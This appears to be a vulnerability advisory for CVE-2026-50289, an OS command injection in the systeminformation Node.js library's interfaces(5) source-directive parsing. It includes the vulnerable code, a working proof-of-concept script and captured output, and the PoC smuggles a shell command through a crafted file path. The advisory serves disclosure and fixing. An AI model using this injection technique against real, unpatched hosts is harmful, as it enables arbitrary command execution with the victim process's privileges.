CVE-2026-50289

On Linux, systeminformation's networkInterfaces() is vulnerable to OS command injection through the Debian/Ubuntu interfaces(5) source directive. While collecting per-interface DHCP state, the library reads /etc/network/interfaces and, for every source <path> line it encounters, extracts the path token from the file content and interpolates it unquoted into a shell command string that is run via execSync(). A source line whose path contains shell metacharacters executes arbitrary commands with the privileges of the calling Node.js process.

This is the same root-cause class as the previously-fixed NetworkManager-connection-name injection in this file: a value parsed out of local system state is re-interpolated into a shell command string without sanitization. The NetworkManager paths were converted to argument-array execution, but the interfaces(5) source-recursion sink in checkLinuxDCHPInterfaces() was left unfixed and still builds a shell string. The input to this sink is unsanitized (unlike the iface/connectionName paths, which pass through util.sanitizeString in strict mode before reaching their commands).

Threat model

The dangerous value is not a function argument supplied by the caller. It is read from the content of an interfaces(5) configuration file. The stock Debian/Ubuntu layout uses source /etc/network/interfaces.d/* and source-directory fan-out, so the parser routinely follows source directives into other files and re-parses their source lines. Any actor who can write a file that becomes reachable through that source chain, for example a lower-privileged process or configuration-management hook that drops a file into a sourced directory, or a tool that materializes an interfaces snippet from semi-trusted input, controls the path token that lands in the shell command. No NetworkManager activation or special hardware is required; the only precondition is that one sourced path string contains shell metacharacters.

Vulnerable code

lib/network.js, checkLinuxDCHPInterfaces() (current 5.31.6 line numbers):

// lib/network.js
function checkLinuxDCHPInterfaces(file) {
  let result = [];
  try {
    const cmd = `cat ${file} 2> /dev/null | grep 'iface\\|source'`;   // <-- unquoted ${file} -> shell sink
    const lines = execSync(cmd, util.execOptsLinux).toString().split('\n');

    lines.forEach((line) => {
      const parts = line.replace(/\s+/g, ' ').trim().split(' ');
      if (parts.length >= 4) {
        if (line.toLowerCase().indexOf(' inet ') >= 0 && line.toLowerCase().indexOf('dhcp') >= 0) {
          result.push(parts[1]);
        }
      }
      if (line.toLowerCase().includes('source')) {
        const file = line.split(' ')[1];                              // <-- path parsed FROM file content
        result = result.concat(checkLinuxDCHPInterfaces(file));        // <-- recurses, re-feeding attacker path
      }
    });
  } catch {
    util.noop();
  }
  return result;
}

util.execOptsLinux sets no shell option, so execSync(cmd, util.execOptsLinux) runs cmd through /bin/sh. The ${file} token is interpolated raw, not quoted, not passed through util.sanitizeString/sanitizeShellString, so ;, $( ), backticks, |, &, redirections, and even a bare space all break out of the intended cat/grep pipeline.

Reach chain to the public API:

// lib/network.js, getLinuxDHCPNics()
result = checkLinuxDCHPInterfaces('/etc/network/interfaces');

// lib/network.js, networkInterfaces() (Linux branch)
_dhcpNics = getLinuxDHCPNics();

networkInterfaces() is also reached by getStaticData() and getAllData() in lib/index.js.

Reproduction

The PoC exercises the verbatim shipped sink function extracted from the installed node_modules/systeminformation/lib/network.js (version pinned to 5.31.6), bound to the same child_process.execSync and shipped util.execOptsLinux the library uses. It then drives the exact source-recursion data flow with a malicious sourced path. A negative control with a benign path confirms no execution occurs on well-formed input.

Install the pinned vulnerable version:

mkdir si-poc && cd si-poc
npm init -y >/dev/null
npm install [email protected]

poc.js:

const fs = require('fs');
const path = require('path');
const cp = require('child_process');
const libDir = path.join(__dirname, 'node_modules', 'systeminformation', 'lib');
const util = require(path.join(libDir, 'util.js'));

// Load the VERBATIM shipped sink function from the installed library source.
const src = fs.readFileSync(path.join(libDir, 'network.js'), 'utf8');
const m = src.match(/function checkLinuxDCHPInterfaces\(file\) \{[\s\S]*?\n\}\n/);
if (!m) { console.error('could not locate shipped function'); process.exit(2); }

// Bind the same free vars network.js binds: execSync + util.
const execSync = cp.execSync;
const checkLinuxDCHPInterfaces =
  new Function('execSync', 'util', m[0] + '\nreturn checkLinuxDCHPInterfaces;')(execSync, util);

// --- Malicious case: a sourced interfaces file with shell metacharacters in the path ---
const tmp = fs.mkdtempSync('/tmp/si-dhcp-');
const outer = path.join(tmp, 'interfaces');
const marker = path.join(tmp, 'PWNED');
const maliciousSource = `/dev/null;id>${marker};echo`;
fs.writeFileSync(outer, `auto lo\niface lo inet loopback\nsource ${maliciousSource}\n`);

console.log('PRE  marker_exists=' + fs.existsSync(marker));
const res = checkLinuxDCHPInterfaces(outer);   // == networkInterfaces() -> getLinuxDHCPNics() path
console.log('returned=' + JSON.stringify(res));
console.log('POST marker_exists=' + fs.existsSync(marker));
if (fs.existsSync(marker)) console.log('marker_contents=' + fs.readFileSync(marker, 'utf8').trim());

// --- Negative control: a benign sourced path must NOT execute anything ---
const tmp2 = fs.mkdtempSync('/tmp/si-neg-');
const outer2 = path.join(tmp2, 'interfaces');
const inner2 = path.join(tmp2, 'iface.d');
const marker2 = path.join(tmp2, 'PWNED_NEG');
fs.writeFileSync(inner2, 'iface eth0 inet dhcp\n');
fs.writeFileSync(outer2, `auto lo\nsource ${inner2}\n`);
console.log('\nNEG pre  marker_exists=' + fs.existsSync(marker2));
const res2 = checkLinuxDCHPInterfaces(outer2);
console.log('NEG returned=' + JSON.stringify(res2));
console.log('NEG post marker_exists=' + fs.existsSync(marker2));

Run it:

node poc.js

Verbatim captured output (against [email protected]):

PRE  marker_exists=false
returned=[]
POST marker_exists=true
marker_contents=uid=501(rick) gid=20(staff) groups=20(staff),12(everyone),61(localaccounts),79(_appserverusr),80(admin),81(_appserveradm),701(com.apple.sharepoint.group.1),33(_appstore),98(_lpadmin),100(_lpoperator),204(_developer),250(_analyticsusers),395(com.apple.access_ftp),398(com.apple.access_screensharing),399(com.apple.access_ssh),400(com.apple.access_remote_ae)

NEG pre  marker_exists=false
NEG returned=["eth0"]
NEG post marker_exists=false

The malicious source path caused the injected id command to run (marker created, contents = the calling process identity), while the benign source path parsed normally (["eth0"]) and produced no marker. The injected command runs with the privileges of the Node.js process that called networkInterfaces().

End-to-end reproduction

The transcript above is the end-to-end run against the pinned published artifact [email protected], loading the shipped lib/network.js and lib/util.js from node_modules. Exact commands:

mkdir si-poc && cd si-poc
npm init -y >/dev/null
npm install [email protected]
# place poc.js (from the Reproduction section) in this directory
node poc.js

The marker file PWNED is created only by the injected command path; the negative-control marker PWNED_NEG is never created. The verbatim captured stdout is shown in the Reproduction section above.

Fix PR

A fix is provided on a private temporary fork (not pushed to any public fork during the embargo). The branch replaces the cat ${file} shell string in checkLinuxDCHPInterfaces() with a non-shell fs.readFileSync read and adds a Linux regression test that points the function at an interfaces file containing a source directive with shell metacharacters and asserts that no side-effect command runs (no marker file is produced) while a benign sourced DHCP interface is still parsed.

Credit

Reported by tonghuaroot.